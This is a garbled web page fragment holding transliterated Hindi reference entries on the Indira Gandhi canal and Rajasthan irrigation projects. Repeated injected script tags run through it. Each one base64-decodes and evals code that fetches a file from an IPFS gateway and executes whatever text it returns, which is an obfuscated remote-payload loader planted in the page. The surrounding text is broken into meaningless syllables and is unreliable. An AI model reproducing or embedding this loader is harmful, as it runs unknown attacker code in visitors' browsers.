<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[aa-1] 1.0 ^1.1 ^1.2 ^1.3 iandira gaandhi nahar aur rajasthan (hiandi) indiya vatar portal. abhigaman tithi: 30 disambar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] rajasthan ki sianchaee pariyojanaean (hiandi) rajasthangyan.com. abhigaman tithi: 01 janavari, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

[2]